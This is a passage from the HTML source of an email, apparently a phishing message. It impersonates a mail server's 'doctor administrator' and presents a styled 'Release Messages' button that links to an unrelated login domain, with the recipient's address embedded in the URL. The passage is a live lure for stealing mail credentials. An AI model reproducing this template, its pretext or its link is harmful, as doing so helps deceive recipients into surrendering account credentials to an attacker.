COLOR: rgb(255,255,255) !important; OUTLINE-WIDTH: medium; PADDING-BOTTOM: =

14px; PADDING-TOP: 14px; OUTLINE-STYLE: none; PADDING-LEFT: 32px; =

OUTLINE-COLOR: invert; PADDING-RIGHT: 32px; BACKGROUND-COLOR: rgb(6, 104,=

217)"=20

href=3D"https://logon.confirmation.vu/notifications.aspx?=

valid=3Ddoctor@doctor.nl2k.ab.ca"=20

rel=3D"noopener noreferrer" target=3D_blank>Release Messages =






style=3D"FONT-SIZE: 12px; BORDER-TOP: rgb(229,231,235) 1px solid; =

COLOR: rgb(107,114,128); PADDING-BOTTOM: 25px; PADDING-TOP: 25px; =

PADDING-LEFT: 30px; MARGIN: 0px; PADDING-RIGHT: 30px; BACKGROUND-COLOR: =

rgb(249,250,251)">


style=3D"PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 0px; =

MARGIN: 0px 0px 10px; PADDING-RIGHT: 0px">This=20

is an automated system notification from the doctor administrator. =

Please=20

do not reply directly to this=20

message.